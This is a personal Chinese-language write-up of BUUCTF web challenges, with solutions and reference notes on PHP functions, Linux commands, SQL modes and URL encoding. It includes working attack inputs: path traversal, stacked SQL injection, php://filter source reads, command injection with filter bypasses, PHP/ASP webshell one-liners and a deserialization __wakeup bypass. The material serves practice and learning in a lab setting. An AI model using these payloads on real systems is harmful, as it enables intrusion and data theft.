【BUUCTF】 个人记录——web
- [HCTF 2018]WarmUp
- [强网杯 2019]随便注
- [极客大挑战 2019]Havefun
- [SUCTF 2019]EasySQL
- [ACTF2020 新生赛]Include
- [极客大挑战 2019]Secret File
- [ACTF2020 新生赛]Exec
- [GXYCTF2019]Ping Ping Ping
- [极客大挑战 2019]Knife
- [护网杯 2018]easy_tornado
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]Http
- [极客大挑战 2019]PHP
- [极客大挑战 2019]Upload
[HCTF 2018]WarmUp
打开开发者模式,发现有个source.php
访问一下
还有个hint.php,也访问一下
还是来审计一下source.php的代码:
如果参数page已经设置且page为字符串,满足条件,第一个if语句不执行
如果page的值在白名单中,执行第二个if语句,返回true
先在page后加上一个 ? ,再用mb_strpos返回page中首次出现问号的位置,然后用mb_substr截取从0开始到第一个问号位置为止的字符串,将其赋值为_page
如果_page在白名单中(hint.php或者source.php),执行第三个if语句,返回true
将page进行url解码,赋值给_page
之后同样进行截取操作,如果在白名单中执行第四个if语句返回true
如果三个if语句都没能返回true,则返回false和显示you can't see it
下面的if判断语句,输入不为空,是字符串,且emm类返回true就能包含写入的file执行request(文件包含)
第二个if、语句直接判断page在不在白名单,不能用
确保第一个问号之前是source.php或者hint.php即可通过,返回true
所以payload:/source.php?file=source.php?/../../../../ffffllllaaaagggg
逻辑大概是这样的:
通过GET提交的url:file=source.php?../../../../../../ffffllllaaaagggg被编码为source.php%3f..%2f..%2f..%2f..%2f..%2f..%2fffffllllaaaagggg,里面没有了问号,自然通过了第一次问号截断,还是source.php%3f..%2f..%2f..%2f..%2f..%2f..%2fffffllllaaaagggg,之后进行url解码,变回file=source.php?../../../../../../ffffllllaaaagggg,问号截断是source.php,通过检查
这里之所以可以包含到ffffllllaaaagggg是因为PHP将 source.php?/ 视作了一个文件夹,然后 ../ 的用途是返回上级目录
ffffllllaaaagggg位于根目录下,一般Web服务的文件夹在/var/www/html目录中,再加上source.php?/这个文件夹,所以总共需要../四次来返回到根目录
不知道具体位置情况下就需要一层层试了
疑问
-
把payload最前面的source.php换成index.php也能得到flag,好像是说source.php是index.php的源代码?
-
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。
这是王叹之师傅的分析,有点没看明白使用第四个if的原因
在构造payload时并没有使用编码后的 ? ,二次编码的 ? 是%235f,使用 ? 和 %235f都能拿到flag
扩展
PHP isset函数
bool isset ( mixed $var [, mixed $... ] )
检测变量是否设置,并且不是 null
如果指定变量存在且不为 null,则返回 true,否则返回 false
参数 | 描述 |
---|---|
var | 要检查的变量 |
PHP is_string函数
bool is_string ( mixed $var )
检测变量是否是字符串
如果指定变量是字符串则返回 true,否则返回 false
参数 | 描述 |
---|---|
var | 要检查的变量 |
PHP in_array函数
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
搜索数组中是否存在指定的值
参数 | 描述 |
---|---|
needle | 必需。规定要在数组搜索的值 |
haystack | 必需。规定要搜索的数组 |
strict | 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同 |
PHP mb_substr函数
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
返回字符串的一部分,字符串可以包括中文(如果是sustr函数则不能含有中文)
参数 | 描述 |
---|---|
str | 必需。从该 string 中提取子字符串 |
start | 必需。规定在字符串的何处开始 |
正数——在字符串的指定位置开始 | |
负数——在从字符串结尾的指定位置开始 | |
0——在字符串中的第一个字符处开始 | |
length | 可选。规定要返回的字符串长度。默认是直到字符串的结尾 |
正数——从 start 参数所在的位置返回 | |
负数——从字符串末端返回 | |
encoding | 可选。字符编码。如果省略,则使用内部字符编码 |
PHP mb_strpos函数
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )
查找字符串在另一个字符串中首次出现的位置
参数 | 描述 |
---|---|
haystack | 必需。被查找的字符串 |
needle | 必需。在haystack中查找这个字符串,和 strpos() 不同的是,数字的值不会被当做字符的顺序值 |
length | 可选。搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计 |
encoding | 可选。字符编码。如果省略,则使用内部字符编码 |
PHP urldecode函数
urldecode ( string $str ) : string
解码给出的已编码字符串中的任何 %##。 加号 + 被解码成一个空格字符
参数 | 描述 |
---|---|
str | 要解码的字符串 |
PHP empty函数
bool empty ( mixed $var )
用于检查一个变量是否为空
当 var 存在,并且是一个非空非零的值时返回 false 否则返回 true
参数 | 描述 |
---|---|
var | 待检查的变量 |
PHP include与require语句
include 'filename';
require 'filename';
包含并运行指定文件
在服务器执行 PHP 文件之前在该文件中插入一个文件的内容
区别:
require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件;引入的文件有错误时,执行会中断,并返回一个致命错误
include include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程;引入的文件有错误时,会继续执行,并返回一个警告
[强网杯 2019]随便注
从网页标签还有粗体大字已经知道是sql注入了
常规试探
是php代码啊
先测一下几个字段,3显示不存在,2有回应
联合查询一下
这下是php的preg_match函数,匹配正则表达式的,括号里面的全部不能用
想试试看能不能用双写之类的绕过,发现不行后百度了一下这个函数的绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
还是不会,学习wp
这题的考点是堆叠注入
查询数据库
查询表
查询words
查询1919810931114514
观察两个表,words表有id和data两个字段,默认查询的时候查出来的也是两个字段,说明查的是words表,而1919810931114514表中只有一个字段,但是flag在这个表中
方法一:修改表的名字
将表words改为word,表1919810931114514名字改为words,,那么就能得到flag的内容了。
1 ' ; rename tables `words` to `word`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100) ; #
再用1' or 1='1拿到flag
方法二:预编译
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
检测到set和prepare在$inject里面,大写绕过
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
扩展
堆叠注入
即将sql语句堆叠在一起进行查询,用;分隔语句,能同时查询多条语句
原理是php中mysql_multi_query()函数支持多条sql语句同时执行,如果后台使用的是mysqli_query()函数,那么堆叠注入就失效了
PHP preg_match函数
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索subject与pattern给定的正则表达式的一个匹配。
参数 | 描述 |
---|---|
$pattern | 要搜索的模式,字符串形式 |
$subject | 输入字符串 |
$matches | 如果提供了参数matches,它将被填充为搜索结果。$matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推 |
$offset | 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节) |
反引号
反引号可作为分隔符及注释,在遇到数字表名/库名的时候需要用反引号括起来,字母表名/库名则不需要
在遇到mysql保留词是表名/库名时,需要用反引号加以区别,否则mysql无法识别
预编译
实际上被用来防止SQL注入,SQL注入的本质是未将数据与代码有效区分开,预编译的目的就在于解决这一点。
常见的有关防止SQL注入的预编译手段都是基于后端代码的,例如PHP或Java的PDO,这次是使用SQL命令直接预编译语句
给sql赋值
set @sql = CONCAT('se','lect * from `1919810931114514`;');
定义编译语句
prepare stmt from @sql;
执行编译语句
EXECUTE stmt;
[极客大挑战 2019]Havefun
在开发者工具界面,有段被注释的php代码
用get提交cat,如过输入的cat=dog,那就得到Syc{cat_cat_cat_cat}
扩展
URL的特殊符号
名称 | 含义 | 十六进制码 |
---|---|---|
+ | 表示空格 | %2B |
空格 | 等效于+号 | %20 |
/ | 分隔目录和子目录 | %2F |
? | 分隔实际的URL和查询内容 | %3F |
% | 指定特殊字符 | %25 |
# | 网页中的一个位置,其右面的字符,就是该位置的标识符 | %23 |
& | 不同参数间的间隔符 | %26 |
= | 参数的值 | %3D |
[SUCTF 2019]EasySQL
稍微试了一下 union,or,orderby,and,from,flag 被过滤了,双写和大小写都不行
在输入1的情况下会显示一点点代码
试试看堆叠注入
堆叠注入能行,查表
之后无论是查flag还是1都不行,因为from被过滤了。。。
束手无策,学习wp
本题代码是
select $_GET['query'] || flag from flag
方法一:
1;set sql_mode=PIPES_AS_CONCAT;select 1
组合上去的代码就成了
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from Flag
PIPES_AS_CONCAT
能把 || 视为连接符而不是运算符
方法二:
*,1
组合成的代码是
select *,1 || flag from flag
扩展
常用的sql_mod
名称 | 作用 |
---|---|
ONLY_FULL_GROUP_BY | 对于GROUP BY聚合操作。如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中 |
NO_AUTO_VALUE_ON_ZERO | 该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户希望插入的值为0,而该列又是自增长的,那么这个选项就派上用场了 |
STRICT_TRANS_TABLES | 在该模式下,如果一个值不能插入到一个事务中,则中断当前的操作,对非事务表不做限制 |
NO_ZERO_IN_DATE | 在严格模式下,不允许日期和月份为零 |
NO_ZERO_DATE | 设置该值,mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告 |
ERROR_FOR_DIVISION_BY_ZERO | 在insert或update过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时Mysql返回NULL |
NO_AUTO_CREATE_USER | 禁止GRANT创建密码为空的用户 |
NO_ENGINE_SUBSTITUTION | 如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常 |
PIPES_AS_CONCAT | 将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样,也和字符串的拼接函数Concat相类似 |
ANSI_QUOTES | 启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符 |
[ACTF2020 新生赛]Include
蒙了,找了一圈没看到哪里有什么注释之类的东西
学习wp,本题是文件包含
过滤了input,但是没有过滤filter
把得到的base64编码解码就行
扩展
PHP伪协议
php://
访问输入输出流,有两个常用的子协议
php://input
将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可
php://filter
设计用来过滤筛选文件
非php语法文件include失败,输出源码内容
php语法文件include成功,直接运行
因此想要读取php文件的源码,需要先base64编码,再传入include函数,这样就不会被认为是php文件,从而输出base64编码,之后对编码解码即可
最常用的payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
file://
与php://filter类似,访问本地文件,但只能传入绝对路径
phar://
查找指定压缩包内的文件,相对路径与绝对路径均可
zip://
用法与phar类似,不过只能传入绝对路径,而且要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23
[极客大挑战 2019]Secret File
主界面什么按钮都没有,打开开发者模式,看到了一个php界面
点SECRET
说我没看清,估计是重定向跳转了
那我抓包看,嗯,是302跳转
前往secr3t.php
再去flag.php
。。。。。这抓包也没有用,整个页面就这几句话,没有flag
仔细想想,secr3t.php显示出来的不是这样的黑色页面而是php代码,这题也是文件包含
代码中用stristr函数ban掉了 ../,tp,include,data,那还能用filter
构造payload输入后直接显示了base64编码(特别长)
解码
扩展
PHP stristr() 函数
字符串在另一字符串中的第一次出现,并返回字符串的剩余部分(相当于可以用作过滤关键词,导致语句不完整)
stristr(string,search,before_search)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串 |
search | 必需。规定所搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符 |
before_search | 可选。一个默认值为 "false" 的布尔值。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分 |
[ACTF2020 新生赛]Exec
完全懵逼,只知道ping和测网络延迟有关
学习wp去
本题是命令执行
开发者模式下啥也没有,直接开始尝试
ping命令执行成功了,那就尝试能否用管道符连接另一个命令
用ls发现有个index.php
index.php就是源码啊。。。
没有过滤那就找flag
扩展
Ping
ping (Packet Internet Groper)是一种因特网包探索器,用于测试网络连接量的程序。Ping 是工作在TCP/IP网络体系结构中应用层的一个服务命令,主要是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo 请求报文,测试目的站是否可达及了解其有关状态
管道符
|(就是按位或),直接执行|后面的语句
||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&(就是按位与),&前面和后面命令都要执行,无论前面真假
&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
; 前后都执行,无论前面真假,同&,(linux也有)
Linux ls 命令
ls [-alrtAFR] [name...]
用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)
参数 | 描述 |
---|---|
-a | 显示所有文件及目录 (. 开头的隐藏文件也会列出) |
-l | 除文件名称外,亦将文件型态、权限、拥有者、文件大小等资讯详细列出 |
-r | 将文件以相反次序显示(原定依英文字母次序) |
-t | 将文件依建立时间之先后次序列出 |
-A 同 -a | 但不列出 "." (目前目录) 及 ".." (父目录) |
-F | 在列出的文件名称后加一符号;例如可执行档则加 "*", 目录则加 "/" |
-R | 若目录下有文件,则以下之文件亦皆依序列出 |
Linux cat 命令
cat [-AbeEnstTuv] [--help] [--version] fileName
用于连接文件并打印到标准输出设备上
参数 | 描述 |
---|---|
-n 或 --number | 由 1 开始对所有输出的行数编号 |
-b 或 --number-nonblank | 和 -n 相似,只不过对于空白行不编号 |
-s 或 --squeeze-blank | 当遇到有连续两行以上的空白行,就代换为一行的空白行 |
-v 或 --show-nonprinting | 使用 ^ 和 M- 符号,除了 LFD 和 TAB 之外 |
-E 或 --show-ends | 在每行结束处显示 $ |
-T 或 --show-tabs | 将 TAB 字符显示为 ^I |
-A, --show-all | 等价于 -vET |
-e | 等价于"-vE"选项 |
-t | 等价于"-vT"选项 |
[GXYCTF2019]Ping Ping Ping
嗯?
去学wp
稍微看了一点,原来 /?= 是get提交
常规ping命令能正常返回
用下ls,需要注意的是不能用空格,否则会显示 fxck your space。。。。
然后就出现问题了,cat语句里面必有空格,需要linux的空格绕过,sql的那套不行
url自动变成的%20不行,${IFS}不行,$IFS$9成功了,但是flag还是拿不到
去看看index.php
过滤了空格,bash,而且严格过滤flag,至少双写是不行的
又不会了,再去看看wp
常规方法:
$a可以进行覆盖,payload用 ; 连接
在开发者模式中拿到flag
payload的意思是构造一个变量a=g,正则匹配是按照flag的顺序在匹配,由于匹配的时候只看到了fla,这样就绕过了过滤,之后在解析$a=g,语句就变成了:
/?ip=127.0.0.1;a=g;cat$IFS$1flag.php
于是就得到了flag
base64编码方法:
禁用bash那就用sh,bash的大部分脚本能在sh运行
Y2F0IGZsYWcucGhw 是cat flag.php的base64编码,-d执行
内联方法:
内联是将反引号内命令的输出作为输入执行
反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令
疑问
-
为什么$IFS$1就能绕过?
-
$a=shell_exec("ping -c 4 ".$ip);这句代码的意义是什么?
扩展
Linux空格绕过方法
%20 //空格
%09 //tab键
${IFS} //$IFS(Internal Field Separator,内部字段分隔符的缩写)
$IFS$1 //非0的数都行
{cat,flag.php} //用逗号实现了空格功能
<和<>重定向符
PHP shell_exec函数
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
shell_exec ( string $cmd ) : string
参数 | 描述 |
---|---|
cmd | 要执行的命令 |
[极客大挑战 2019]Knife
白给的shell,菜刀,post提交Syc(PHP的一句话木马),感觉暗示的很明显
拿蚁剑连一下
翻到根目录,找到flag
扩展
菜刀与蚁剑的基本原理
利用文件上传漏洞,往目标网站传入一句话木马,控制部分甚至全部权限(php,asp,aspx等脚本语言)
一句话木马
简称Webshell
常见一句话木马:
php: <?php @eval($_POST['cmd']);?>
asp: <%eval request ("cmd")%>
aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>
javascript:<script language = 'php'>@eval($_POST[cmd]);</script>
@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['attack']表示从页面中获得attack这个参数值。
[护网杯 2018]easy_tornado
有三个txt文件
flag.txt给出了flag在fllllllllllllag
welcome.txt只有一个单词
嗯?
hints.txt给出了一个md5的构成方法
结合三个txt文件的ur构成都是/file?filename=/xxx.txt&filehash=xxx
之后就想着抓包拿cookie,对fllllllllllllag进行md5加密,连起来编码(+,空格都试过了),然而并不对
无奈,学下wp
标题是tornado,也就是模板注入
出现error也证明存在注入点
而报错页面显示的url给出了参数是msg
这样就找到了回显点
Tornado提供了一些对象别名来快速访问对象
查阅Tornado文档,找到了有关cookie_secret的描述(所以我之前把它当作cookie是大错特错)
cookie_secret在Application对象settings属性中
RequestHandler.settings有一个别名:self.application.settings
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings又指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
这样得到了cookie_secret
接下来就是md5编码了
然后我又错了,这里文件名不是fllllllllllllag而是/fllllllllllllag
双错了,url中文件名没有.txt
叒错了,hint里面那个 + 是连接在一起的意思,不能作为编码的一部分
下面这个才是对的流程
扩展
SSTI
SSTI即服务器端模板注入(也就是模板注入)
主流的模板引擎
语言类型 | 模板引擎 |
---|---|
Java | Velocity、Freemarker、Pebble、Thymeleaf、Jinjava和StringTemplate |
PHP | Twig、Smarty、Dwoo、Volt、Blade、Plates和LATTE |
Python | Jinja2、Tornado和Mako |
决策树
James Kettles提出的决策树,可以用来识别所使用的模板。
这个决策树是由简单的评估组成的,其中的表达式无法适用于每一种技术。
但是由于这些都是非常基本的表达式,所以当一个模版库的新版本发布时,这些表达式也不会很快变得过时。
[RoarCTF 2019]Easy Calc
开发者模式下有段代码
尝试无果,学习wp
calc.php可以访问,得到了源码
WAF禁止了传入字母,但是利用PHP的字符串解析特性绕过WAF
直接在url里面输入,在字母前加入一个空格
扫根目录下的所有文件,由于 / 被过滤了,就得用chr()绕过( /=chr(47) )
因为是扫描根目录,url肯定是以 / 分隔的,所以可以扫描以 / 开头的文件
打开f1agg( f=chr(102),1=chr(49),a=chr(97),g=chr(103)) )
扩展
WAF
WAF就是web应用防护系统(Web Application Firewall)
WAF是看不到的,而且WAF的语言不一定和题目一致
PHP的字符串解析特性
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
- 删除空白符
- 将某些字符转换为下划线(包括空格)
因为本题并没有过滤"空格+字母",所以" num"能通过WAF检测,PHP在读取时删除了空格,就完成了绕过
PHP scandir() 函数
scandir(directory,sorting_order,context);
返回指定目录中的文件和目录的数组
参数 | 描述 |
---|---|
directory | 必需。规定要扫描的目录 |
sorting_order | 可选。规定排列顺序。默认是 0,表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1,则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE,则返回未排列的结果 |
context | 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项 |
PHP echo() 函数 与 print() 函数
echo(strings)
&
print(strings)
输出一个或多个字符串(以及整型和int型浮点型数据,不能打印复合型和资源型数据)
函数名 | 参数 | 描述 | 区别 |
---|---|---|---|
echo | strings | 必需。发送到输出的一个或多个字符串 | 可以连续输出多个变量。不能把打印的值赋给变量,它没有像函数的行为,不能用于函数的上下文 |
strings | 必需。发送到输出的一个或多个字符串 | 只能一次输出一个变量。打印的值能直接复制给一个变量,如 $a = print “123” |
echo() 函数比 print()函数速度稍快
两个函数都不是严格意义上的函数,他们是 语言结构
PHP var_dump() 函数 与 print_r() 函数
void var_dump ( mixed $expression [, mixed $... ] )
&
bool print_r ( mixed $expression [, bool $return ] )
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构
print_r() 函数用于打印变量,以更容易理解的形式展示
函数名 | 参数 | 描述 | 区别 |
---|---|---|---|
var_dump | $expression | 需要输出的变量 | 能打印复合类型的数据,还能打印资源类型的变量 |
print_r | $expression | 需要输出的变量。如果给出的是 string、integer 或 float 类型变量,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素 | 只能打印一些易于理解的信息,且在打印数组时,会将把数组的指针移到最后边,使用 reset() 可让指针回到开始处 |
$return | 可选,如果为 true 则不输出结果,而是将结果赋值给一个变量,false 则直接输出结果 |
var_dump()输出的信息则比较详细
PHP file_get_contents() 函数
file_get_contents(path,include_path,context,start,max_length)
把整个文件读入一个字符串中
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件 |
include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1' |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的 |
Python3 chr()函数
chr(i)
用一个整数作参数,返回值是当前整数对应的 ASCII 字符
参数 | 描述 |
---|---|
i | 可以是 10 进制也可以是 16 进制的形式的数字,数字范围为 0 到 1,114,111 (16 进制为0x10FFFF) |
JavaScript encodeURIComponent() 函数
encodeURIComponent(uri)
可把字符串作为 URI 组件进行编码
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
其他字符(比如 :; / ? : @ & = + $ , # 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的
参数 | 描述 |
---|---|
uri | 必需。一个字符串,含有 URI 组件或其他要编码的文本 |
jQuery val() 方法
返回 value 属性:
$(selector).val()
设置 value 属性:
$(selector).val(value)
通过函数设置 value 属性:
$(selector).val(function(index,currentvalue))
参数 | 描述 |
---|---|
value | 必需。规定 value 属性的值 |
function(index,currentvalue) | 可选。规定返回要设置的值的函数 |
index——返回集合中元素的 index 位置 | |
currentvalue——返回被选元素的当前 value |
jQuery ajax() 方法
$.ajax({name:value, name:value, ... })
ajax()方法通过 HTTP 请求加载远程数据。
该方法是 jQuery 底层 AJAX 实现。
$.ajax() 返回其创建的 XMLHttpRequest 对象。
大多数情况下无需直接操作该函数,除非需要操作不常用的选项,以获得更多的灵活性。
最简单的情况下,$.ajax() 可以不带任何参数直接使用。
参数 | 描述 |
---|---|
async | |
beforeSend(xhr) | 发送请求前运行的函数 |
cache | |
complete(xhr,status) | 请求完成时运行的函数(在请求成功或失败之后均调用,即在 success 和 error 函数之后) |
contentType | 发送数据到服务器时所使用的内容类型。默认是:"application/x-www-form-urlencoded" |
context | 为所有 AJAX 相关的回调函数规定 "this" 值 |
data | 规定要发送到服务器的数据 |
dataFilter(data,type) | 用于处理 XMLHttpRequest 原始响应数据的函数 |
dataType | 预期的服务器响应的数据类型 |
error(xhr,status,error) | 如果请求失败要运行的函数 |
global | 布尔值,规定是否为请求触发全局 AJAX 事件处理程序。默认是 true |
ifModified | 布尔值,规定是否仅在最后一次请求以来响应发生改变时才请求成功。默认是 false |
jsonp | 在一个 jsonp 中重写回调函数的字符串 |
jsonpCallback | 在一个 jsonp 中规定回调函数的名称 |
password | 规定在 HTTP 访问认证请求中使用的密码 |
processData | 布尔值,规定通过请求发送的数据是否转换为查询字符串。默认是 true |
scriptCharset | 规定请求的字符集 |
success(result,status,xhr) | 当请求成功时运行的函数 |
timeout | 设置本地的请求超时时间(以毫秒计) |
traditional | 布尔值,规定是否使用参数序列化的传统样式 |
type | 规定请求的类型(GET 或 POST) |
url | 规定发送请求的 URL。默认是当前页面 |
username | 规定在 HTTP 访问认证请求中使用的用户名 |
xhr | 用于创建 XMLHttpRequest 对象的函数 |
正则表达式
"/" 是表达式开始和结束的标记
\w 匹配字母或数字或下划线或汉字
\s 匹配任意的空白符
\d 匹配数字
\b 匹配单词的开始或结束
\W 匹配任意字母,数字,下划线,汉字的字符
\S 匹配任意空白符的字符
\D 匹配任意数字的字符
\B 匹配单词开头或结束的位置
[极客大挑战 2019]Http
遇到http类题目优先考虑抓包
有个没被访问的Secret.php文件,访问一下
需要加个Referer
需要改一下User-Agent
要本地访问,加个X-Forwarded-For
扩展
HTTP Referer
是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的
HTTP X-Forwarded-For
通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
X-Forwarded-For: client, proxy1, proxy2
XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP,用户真实 IP 为 IP0
[极客大挑战 2019]PHP
这题完全没头绪,直接学的wp
用dirsearch扫描网站目录(扫描时选择php类型)
漫长的扫描后,唯有一个反馈是200的(其余的不是429就是503),那么这个应该就是要找的东西
输入url之后直接下载下来了www.zip
flag.php中给出的东西输入发现不对
index.php里面有这样一段
先调用了class.php
用get方式接受输入,然后赋给select
把select反序列化后赋给res
再去看看class.php
核心代码是这一段,需要满足username是admin,password是100,在最后执行__destruct函数时能拿到flag
接下来构造序列化
得到序列化的结果
其实还可以在输出的时候进行url编码,防止%00对应的不可打印字符在复制时丢失
var_dump(urlencode(serialize($a)));
我在vscode集成控制台,直接右键用PHP Server的Serve project和直接网页形式直接打开得到是三种不同结果
PHP Server:Serve project得到的是上图,直接忽略了无法打印的字符
vscode控制台输出的是\000(\000也是ASCII的0)
网页直接打开是无法显示的字符
需要注意的是使用时将编码的结果中Name后面的2换成3或其他值(主要是编码后确实不是很方便观看)
在执行__destruct函数之前会执行一次__wakeup函数导致用户名不再是admin,此时就需要绕过
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
将序列化字符串改成这样
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
private字段的序列化,在类名和字段名前面都会加上0的前缀,字符串长度也包括所加前缀的长度(因此显示有14个字符但是看起来Nameusername却是12个字符),因此再改一下字符串
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
扩展
序列化与反序列化
序列化能方便储存传输,减轻服务器压力
将变量和对象转换成字符串的过程就是序列化
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字
对字母大小写和空白(空格、回车、换行等)敏感,字符串是按照字节计算的
序列化后的字段名中不包括声明时的变量前缀符号$
所有字母对应含义:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
数组(array)通常被序列化为:
a:<n>:{<key 1><value 1><key 2><value 2>...<key n><value n>}
其中
对象(object)通常被序列化为:
O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name
2><field value 2>...<field name n><field value n>}
其中
这些字段包括在对象所在类及其祖先类中用var、public、protected 和private 声明的字段,但是不包括static 和 const 声明的静态字段,也就是说只有实例(instance)字段。
<filed name 1>、<filed name 2>……
字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。
字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。
public、protected与private在序列化时的区别
public 声明的字段是公共字段,在所声明的类和该类的子类中可见,在该类的对象实例可见。
因此公共字段的字段名按照声明时的字段名进行序列化
———————————————————————————————————————————————————————
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。
因此保护字段的字段名在序列化时,字段名前面会加上%00*%00的前缀。这里的 %00 表示 ASCII 码为 0 的字符(不可见字符)
———————————————————————————————————————————————————————
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。
因此私有字段的字段名在序列化时,字段名前面会加上 %00
这里
字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。
字符串长度也包括所加前缀的长度,其中%00字符也是计算长度的
ASCII码 0值
ASCII码第一个值就是0,十六进制是0x00,也就是null(空字符)
\0是字符,值等效于ASCII的0;PHP中变量是以C语言的结构体来存储的,空字符串和NULL,false,以及"\0"都是以值为0存储的
疑问
%00到底是什么,为什么查表得到url对应值是æ但实际上又应该等于0?
描述:
但实际上æ的ASCII是%C3%A6,并不是%00,而从上面的题目来看%00确实不能打印出来,但是应该对等于0
答:
URL编码遵循下列规则:
每对name/value由&;符分开;每对来自表单的name/value由=符分开。
如果用户没有输入值给这个name,那么这个name还是出现,只是无值。
任何特殊的字符(就是那些不是简单的七位ASCII,如汉字)将以百分符%用十六进制编码,当然也包括象 =,&;,和 % 这些特殊的字符
其实url编码就是一个字符ascii码的十六进制,不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。
先来看ASCII码的前八位
再看URL编码的前八位
由此是能得出url编码与ASCII编码的对应关系,那么前七位URL编码的值确实就是没有办法打印出来的,而æ应该算是乱码之类的东西
也就能知道,%00确实是ASCII的0,但是不能打印出来
魔术方法
PHP将所有以 __ (两个下划线)开头的类方法保留为魔术方法
PHP __sleep() 方法
在使用 serialize() 函数时,程序会检查类中是否存在一个 __sleep() 魔术方法
如果存在,则该方法会先被调用,然后再执行序列化操作
该方法可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
PHP __wakeup() 方法
使用 unserialize() 函数会检查是否存在一个 __wakeup() 方法
如果存在,则会先调用该方法,预先准备对象需要的资源
该方法可以重新建立数据库连接,或执行其它初始化操作
_wakeup()函数漏洞原理:反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
PHP __toString() 方法
用于一个类被当成字符串时应怎样回应
PHP __invoke() 方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
PHP __construct() 方法
php中构造方法是对象创建完成后第一个被对象自动调用的方法
在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法
